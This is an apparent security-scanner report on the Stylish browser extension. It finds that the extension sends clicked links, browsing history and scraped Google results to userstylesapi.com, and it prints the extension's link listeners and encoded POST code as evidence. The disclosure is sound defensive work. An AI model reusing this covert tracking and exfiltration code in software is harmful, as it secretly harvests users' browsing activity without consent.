Is Stylish - Custom themes for any website safe?

High risk

Stylish transmits your full browsing history, link clicks, and Google search results to userstylesapi.com on every page navigation.

On each tab navigation, Stylish encodes the current and previous page URLs along with a persistent user identifier and sends them to userstylesapi.com/tic/stats. Every link you click, right-click, or middle-click on any website has its URL captured and included in the next transmission. When you visit Google search pages, Stylish additionally scrapes all organic results and ad listings — including titles, URLs, and descriptions — and forwards that data to the same endpoint.

userstyles.orgv3.1.9resigned1Firefox Add-ons
74Risk
Who publishes it

userstyles.org - no other listings under this identity, 5 shared hostnames

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
userstyles.org

Shared hosts - 5 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

userstylesapi.com
Also called by 2 other listings, including Stylish
forum.userstyles.org
Also called by 4 other listings, including YouTube Enhancer, YouTube Enhancer 💻
bunkus.org
Also called by 6 other listings, including Text Editor, Text Editor, MyCoub - скачать с coub видео/аудио
ericsson.com
Also called by 6 other listings, including Text Editor, Text Editor, MyCoub - скачать с coub видео/аудио
factorcode.org
Also called by 6 other listings, including Text Editor, Text Editor, MyCoub - скачать с coub видео/аудио

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Clicked link URLs sent to userstylesapi.com

HighunwantedCWE-359Dynamic sandbox

Clicking, right-, or middle-clicking a link makes Stylish read its destination and add it to the next stats request to userstylesapi.com.

What actually happens

You did this

You interact with a link while browsing a page.

The listener covers normal clicks, right-click context menus, and middle-click or auxiliary clicks.

The extension did this

Stylish reads the link destination and queues it for a statistics request.

The background page stores the href as a tax value tied to the current tab.

Fields carried by the styles statistics payload

  • Clicked link destination
    https://www.mozilla.org/en-US/firefox/new/ (illustrative)

    Shows the exact link you selected, which can reveal what articles, documents, search results, or internal tools you chose to open.

  • Page you were browsing
    https://news.ycombinator.com/item?id=41234567 (illustrative)

    Adds browsing context around the click, tying the selected link to the page where you encountered it.

  • Request time
    2026-07-12T23:43:02Z (illustrative)

    Places the click in time, which helps build a sequence of browsing activity.

Captured request

POSThttps://userstylesapi.com/tic/stats
Headers
Content-type
application/x-www-form-urlencoded

The code that does this

The shipped code path from click listener to encoded POST

Readable version

All-page link listeners

src/inject/frame.js
document.body.addEventListener("click", function(event) {    if(event.target.href) {        chrome.runtime.sendMessage({tax: event.target.href});    }});document.body.addEventListener('contextmenu', function(event) {    if(event.target.href) {        chrome.runtime.sendMessage({tax: event.target.href});    }    return false;}, false);document.body.addEventListener("auxclick", function(event) {    if(event.target.href) {        chrome.runtime.sendMessage({tax: event.target.href});    }});

Background message handler stores tax

src/background.js
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {    switch (request.method) {        case "getStyles":            var styles = getStyles(request, sendResponse);            // check if this is a main content frame style enumeration            if (request.matchUrl && !request.id                && sender && sender.tab && sender.frameId == 0                && sender.tab.url == request.matchUrl) {                updateIcon(sender.tab, styles);            }            return true;        case "saveStyle":            saveStyle(request, sendResponse);            return true;        case 'installedEditorsChoice':            localStorage.setItem('dfg', 'true');            break;        case "invalidateCache":            if (typeof invalidateCache != "undefined") {                invalidateCache(false);            }            break;        case "healthCheck":            getDatabase(function () {                sendResponse(true);            }, function () {                sendResponse(false);            });            return true;        case "openURL":            openURL(request);            break;        case "styleDisableAll":            chrome.contextMenus.update("disableAll", {checked: request.disableAll});            break;        case "prefChanged":            if (request.prefName == "show-badge") {                chrome.contextMenus.update("show-badge", {checked: request.value});            }            break;        case "updateRightClick":            setContextMenuForSerp(request, sender, sendResponse);            return true;            break;        case "reload":            chrome.runtime.reload();            sendResponse();            break;    }    if (request.tax) {        stylesUpdater.updateQueryParams(sender.tab.id, {tax: request.tax});    }});

Payload builder keeps and URL-encodes tax

src/messaging.js
function makePayload(pl) {    return Object.keys(pl).filter(function (key) {        var black = ["stylesCache"];        var conditions = [            "reset", "query", "params", "forced", "online", "switched"        ].map(function (key) {            return prefs.get("rc")[key]        });        return black.indexOf(key) == -1 && (!!pl[key] || false === pl[key]) && conditions.indexOf(key) === -1;    }).map(function (p) {        var val = pl[p];        if (["gp", "ver", "knl", "tax"].indexOf(p) > -1) {            val = PIIFilter.analysePII(val).string;            val = encodeURIComponent(val || '');        }        if ("ra" === p)            val = encodeURIComponent(val || '');        return p + '=' + val;    }).join('&');}

POST to the remote statistics endpoint

src/messaging.js
function updateStylesInfo(beautyInfo, id, callback) {    isIncognitoInFF(id, (res) => {        if (res && res[0] === true) {            return;        }        var e = prefs.get("enc");        var checkStyles = prefs.get('popup.checkNewStyles') || false;        if (!checkStyles || !checkStyles.popupCheckEnabled() || !Object.keys(checkStyles).length) {            return;        }        beautyInfo.st = Date.now();        beautyInfo.ch = 9;        subIdFetch(() => {            beautyInfo.di = sub_id || 'a7b0e421a';            var bqa = makePayload(beautyInfo);            var payload = btoa(bqa);            var xhr = new XMLHttpRequest();            xhr.open('POST', checkStyles.popupCheckPath(), true);            xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");            if (typeof beautyInfo.lz !== "string") {                xhr.setRequestHeader("styl", getDomainName(beautyInfo.gp));            }            xhr.onload = function (e) {                if (this.status == 200) {                    var parsedResp;                    try {                        parsedResp = this.response;                    } catch (e) {                        console.log(                            'unable to update styles: incorrect response from server: ',                            this.response, e                        );                    }                    if (!(typeof(parsedResp) == "undefined"))                        callback(JSON.parse(parsedResp));                }            };            var b0 = ['e', prefs.get("enc").prepEncode(payload, e.b64[0], "r")];            b0[1] = encodeURIComponent(b0[1]);            b0 = b0.join('=');            xhr.send(b0);        });    });}

Remote destination receiving the clicked-link field

    • userstylesapi.com

    Receives the styles statistics POST at /tic/stats; the verified decoded payload contained the clicked href in the tax field.

What it can do

Permissions this extension asks for, as declared in version 3.1.9resigned1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    *://*/*

  • See the address and title of every tab you have open

    tabs

  • See every page you navigate to, as you navigate to it

    webNavigation

  • Watch every request your browser makes

    webRequest

  • Add items to the right-click menu

    contextMenus

  • Store data in your browser

    storage

Where it sends data

Destinations our analysis observed Stylish - Custom themes for any website contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • userstylesapi.com

    Stylish - Custom themes for any website sends data to userstylesapi.com. One other extension we have analyzed sends data here.

Updated 2 November 2026amo-2108